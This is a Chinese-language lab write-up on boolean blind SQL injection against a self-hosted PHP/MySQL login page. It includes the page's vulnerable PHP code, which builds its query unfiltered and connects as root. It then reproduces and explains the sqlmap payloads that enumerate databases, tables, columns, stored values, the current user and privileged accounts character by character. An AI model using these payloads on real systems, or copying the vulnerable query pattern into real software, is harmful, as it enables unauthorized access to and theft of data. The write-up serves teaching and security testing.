文章目录
靶机环境
CentOS 7 + Apache + PHP + MySQL
注入点
登录页面布尔型盲注
php文件如下
<?php
include "public.php";
//连接数据库
$uname=$_REQUEST["yonghuming"];
$pass=$_REQUEST["mima"];
//提取从login.html中POST的键值对
$sql="SELECT username,password FROM userpass WHERE username='$uname'";
//在userpass表中查找符合条件的一行username password
$re=mysqli_query($conn,$sql);
$n=mysqli_num_rows($re);
//返回的行数
if(!$n){
echo "<script>alert('用户名不存在!')</script>";
}
else{
while($data=mysqli_fetch_assoc($re)){
if($data['username']==$uname&&$data['password']==$pass){
//如果查询出的data的['username']的值与传入的uname的值相等且...相等
echo "<script>alert('登录成功,返回首页');location.href='index.html'</script>";}
else{
//密码的值与数据库中值不匹配
echo "<script>alert('用户名或密码错误,请重试');location.href='login.html'</script>";
}
}
}
?>
数据库是用root账户连接的
没有任何过滤
选择yonghuming作为注入点
sqlmap加参数-v 3可以看到测试payload
配餐
搭配此博客食用效果更佳
SQL注入:常用函数及子句等
–dbs
第一轮payload猜解数据库个数
a' AND
ORD(
MID(
(SELECT
IFNULL(
CAST(
COUNT(
DISTINCT(schema_name)
)
AS CHAR)
,0x20)
FROM INFORMATION_SCHEMA.SCHEMATA)
,1,1)
)>51
AND 'nUSA'='nUSA
retrieved 5//得到数据库个数
解析
- INFORMATION_SCHEMA是“数据库的数据库”,其用于存储数据库名、表名、列的数据类型、访问权限等,其SCHEMATA表中有当前所有的数据库信息,表中schema_name字段存放所有的数据库名
- DISTINCT(schema_name) 选出所有不同名的数据库名 (实际5个)
- COUNT统计数据库个数 5
- CAST将 个数 转换为CHAR型数据 ‘5’
- IFNULL:如果转换后不为空则返回此CHAR型数据,否则返回20(HEX)
- SELECT指明对哪个数据库的哪个表进行查询
- MID提取此CHAR型数据的第一个字符 ‘5’,如果是20(HEX)则对应返回空格字符
- ORD返回此字符(串)的第一个字符的ASCII值53,如果是20(HEX)则对应返回32
- 如果返回32,则32>51不成立,数据库个数为0个
- 实际测试的payload就是不断改变>后的数值,判断是否成立,直到得到真实的数据库个数
- 如果有好几位(比如三)位数的数据库就变为MID(,2,1) MID(,3,1)等逐位猜解数字
第二轮payload猜解数据库名
a' AND
ORD(
MID(
(SELECT
DISTINCT(
IFNULL(
CAST(schema_name AS CHAR)
,0x20)
)
FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1)
,1,1)
)>96
AND 'chdl'='chdl
retrieved phptest//数据库名
解析
- CAST将schema_name转换为CHAR型数据
- IFNULL:如schema_name列下值为空则返回0x20
- DISTINCT选所有不同名的数据库名
- SELECT … LIMIT 0,1返回从索引为0开始的一条记录(即第一条,实际数据库名是phptest)
- MID提取此字符串 ‘phptest’ 的第一个字符
- ORD>96/97/98…猜解此字符,结果为p
- 猜出来以后改为MID(,2,1)猜解第二个字符h…
- 一条记录centos_test全部猜解出来后改为LIMIT 1,1 开始逐个字符猜解第二条记录
- 以此类推得到全部数据库名
实际测试payload
-D phptest --tables
第一轮payload猜解表的个数
a' AND
ORD(
MID(
(SELECT
IFNULL(
CAST(COUNT(table_name) AS CHAR)
,0x20)
FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x70687074657374)
,1,1)
)>51
AND 'dUQC'='dUQC
retrieved 1 //此库中表的个数
解析
- table_schema是TABLES表中的一个字段,存放数据库名,0x70687074657374正对应数据库名phptest七个字符的ASCII值(HEX)
- 如果表数为多位数就改变MID(,2,1) MID(,3,1)等逐位猜解
- 其余原理类似上面猜解数据库个数
实际测试payload
第二轮payload猜解表名
a' AND
ORD(
MID(
(SELECT
IFNULL(
CAST(table_name AS CHAR)
,0x20)
FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x70687074657374 LIMIT 0,1)
,1,1)
)>96
AND 'lWxK'='lWxK
retrieved userpass
解析
改变 > 后的值和MID(,X,1)逐位猜解字符
实际测试payload
-D phptest -T userpass --columns
第一轮payload猜解列数
a' AND
ORD(
MID(
(SELECT
IFNULL(
CAST(
COUNT(column_name)
AS CHAR)
,0x20)
FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657270617373 AND table_schema=0x70687074657374)
,1,1)
)>51
AND 'fMsG'='fMsG
retrieved 2
解析
table_name=0x7573657270617373对应userpass八个字符的ASCII值(HEX)
第二轮payload猜解列名
a' AND
ORD(
MID(
(SELECT
IFNULL(
CAST(column_name AS CHAR)
,0x20)
FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657270617373 AND table_schema=0x70687074657374 LIMIT 0,1)
,1,1)
)>48
AND 'RAwU'='RAwU
retrieved username
解析
逐位猜解八个字符username
第三轮payload猜解字段类型
a' AND
ORD(
MID(
(SELECT
IFNULL(
CAST(column_type AS CHAR)
,0x20)
FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657270617373 AND column_name=0x757365726e616d65 AND table_schema=0x70687074657374)
,1,1)
)>41
AND 'mPmD'='mPmD
retrieved varchar(100)
解析
逐位猜解十二个字符 varchar(100)
-D phptest -T userpass -C username --dump
第一轮payload猜解数据个数
a' AND
ORD(
MID(
(SELECT
IFNULL(
CAST(COUNT(*) AS CHAR)
,0x20)
FROM phptest.userpass)
,1,1)
)>51
AND 'soxV'='soxV
retrieved 20
解析
没什么好解析的
第二轮payload猜解数据值
a' AND
ORD(
MID(
(SELECT
IFNULL(
CAST(username AS CHAR)
,0x20)
FROM phptest.userpass ORDER BY username LIMIT 0,1)
,13,1)
)>100
AND 'QtoF'='QtoF
retrieved "adasf"
–current-user
一轮payload猜解当前用户名
a' AND
ORD(
MID((
IFNULL(
CAST(CURRENT_USER() AS CHAR)
,0x20)
),1,1)
)>64
AND 'PqzR'='PqzR
解析
逐个字符猜解当前用户名
–current-db
一轮payload猜解当前数据库名
a' AND
ORD(
MID((
IFNULL(
CAST(DATABASE() AS CHAR)
,0x20)
),7,1)
)>114
AND 'Nwcd'='Nwcd
解析
逐个字符猜解当前数据库名
–is-dba
一轮payload查询是否为dba
a' AND
(
SELECT (
CASE WHEN (
(SELECT super_priv FROM mysql.user WHERE user=0x726f6f74 LIMIT 0,1)
=0x59)
THEN 1 ELSE 0 END)
)=1
AND 'wANf'='wANf
解析
user=0x726f6f74 正对应当前用户名root的ASCII(HEX)
–users
当前用户有权限读取包含所有用户的表的权限,所以可用此选项列出所有管理用户
a' AND
ORD(
MID(
(SELECT
IFNULL(
CAST(
COUNT(DISTINCT(grantee)
) AS CHAR)
,0x20)
FROM INFORMATION_SCHEMA.USER_PRIVILEGES)
,2,1)
)>48
AND 'eGCC'='eGCC
总结
LIMIT X,1 代表操作索引为X的一条记录,X从0开始
MID X,1 代表操作某个字符串的第X位,X从1开始
ORD ()>X 代表正在判断某个字符是不是ASCII值为X的字符
流程
猜个数(数据库、库中表、表中列、列中值)
猜类型(表中列)
猜值(库名、表名、列名、列中值)